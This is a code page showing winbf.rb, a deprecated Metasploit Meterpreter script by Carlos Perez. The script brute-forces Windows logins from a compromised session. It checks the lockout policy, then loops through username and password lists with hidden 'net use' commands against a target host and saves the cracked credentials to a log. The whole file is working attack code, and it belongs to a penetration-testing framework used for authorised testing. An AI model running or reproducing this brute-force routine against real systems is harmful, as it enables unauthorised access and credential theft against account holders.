rapid7/metasploit-framework

View on GitHub
scripts/meterpreter/winbf.rb

Summary

Maintainability
C
7 hrs
Test Coverage
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to improve this script, please try to port it as a post
# module instead. Thank you.
##


# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@@exec_opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "\tHelp menu."],
  "-t"  => [ true,  "\tTarget IP Address"],
  "-p"  => [ true,  "\tPassword List"],
  "-c" => [ false,  "\tCheck Local Machine Password Policy"],
  "-L"  => [ true,  "\tUsername List to be brute forced"],
  "-l"  => [ true,  "\tLogin name to be brute forced"]
)
# Variables for Options
user = []
ulopt = nil
userlist = nil
passlist = nil
target = nil
helpcall = 0

# The 'client' object holds the Meterpreter session
# Aliasing here for plugin compatibility
session = client

################## Function Definition ##################
# Function for checking the password policy of current system.
# This policy may resemble the policy of other servers in the
#target environment.
def chkpolicy(session)
  print_status("Checking password policy...")
  output = []
  begin
    r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
    while(d = r.channel.read)
      output << d
    end
    r.channel.close
    r.close
    # Parsing output of net accounts
    lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
    minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
    failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
    lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
    # check for account lockout
    if lockout.empty?
      print_status "\tNo account lockout threshold configured"
    else
      print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
      print_status "\tThe account will be locked out for #{lcktime}"
    end
    # check for password length
    if minpass.to_s == "0"
      print_status "\tNo minimum password length is configured"
    else
      print_status "\tThe minimum password length configured is #{minpass}"
      print_status "\tyour dictionary should start with passwords of #{minpass} length"
    end
  rescue ::Exception => e
    print_status("The following Error was encountered: #{e.class} #{e}")
  end
end
#--------------------------------------------------------

# Function for brute forcing passwords using windows native tools
def passbf(session,passlist,target,user,opt,logfile)
  print_status("Running Brute force attack against #{user}")
  print_status("Successful Username and Password pairs are being saved in #{logfile}")
  result = []
  output = []
  passfnd = 0
  a = []
  i = 0
  if opt == 1
    if not ::File.exist?(user)
      raise "Usernames List File does not exist!"
    else
      user = ::File.open(user, "r")
    end
  end
  # Go thru each user
  user.each do |u|
    # Go thru each line in the password file
    while passfnd < 1
      ::File.open(passlist, "r").each_line do |line|
        begin
          print_status("Trying #{u.chomp} #{line.chomp}")

          # Command for testing local login credentials
          r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
          while(d = r.channel.read)
            output << d
          end
          r.channel.close
          r.close

          # Checks if password is found
          result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
          if result.length == 1
            print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
            file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
            r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
            while(d = r.channel.read)
              output << d
            end
            output.clear
            r.channel.close
            r.close
            passfnd = 1
            break
          end
        rescue ::Exception => e
          print_status("The following Error was encountered: #{e.class} #{e}")
        end

      end
      passfnd = 1
    end
    passfnd = 0
  end
end

#--------------------------------------------------------
# Function for creating log file
def logme(target)

  # Create Filename info to be appended to  files
  filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

  # Create a directory for the logs
  logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')

  # Create the log directory
  ::FileUtils.mkdir_p(logs)

  #logfile name
  dest = logs + "/" + target + filenameinfo

  dest
end
#--------------------------------------------------------
#
##check for proper Meterpreter Platform
def unsupported
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end
unsupported if client.platform != 'windows'

################## MAIN ##################

# Parsing of Options
@@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-l"
    user << val
    ulopt = 0
  when "-L"
    userlist = val
    ulopt = 1

  when "-c"
    chkpolicy(session)
    exit
  when "-p"

    passlist = val
    if not ::File.exist?(passlist)
      raise "Password File does not exist!"
    end
  when "-t"
    target = val
  when "-h"
    print("Windows Login Brute Force Meterpreter Script\n" +
      "Usage:\n" +
      @@exec_opts.usage)
    helpcall = 1
  end

}

# Execution of options selected
if user.length > 0 && passlist != nil && target != nil

  passbf(session,passlist,target,user,ulopt,logme(target))

elsif userlist != nil && passlist != nil && target != nil

  passbf(session,passlist,target,userlist,ulopt,logme(target))

elsif helpcall == 0
  print("Windows Login Brute Force Meterpreter Script\n" +
    "Usage:\n" +
    @@exec_opts.usage)

end